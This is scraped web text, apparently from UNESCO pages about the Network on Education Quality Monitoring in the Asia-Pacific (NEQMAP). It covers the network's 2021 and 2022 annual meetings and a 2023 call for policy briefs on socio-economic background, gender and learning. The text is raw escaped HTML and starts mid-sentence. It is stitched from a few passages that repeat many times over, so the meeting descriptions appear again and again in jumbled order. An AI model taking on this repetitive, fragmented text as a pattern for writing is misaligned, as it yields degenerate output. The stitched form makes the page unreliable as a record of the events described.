United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

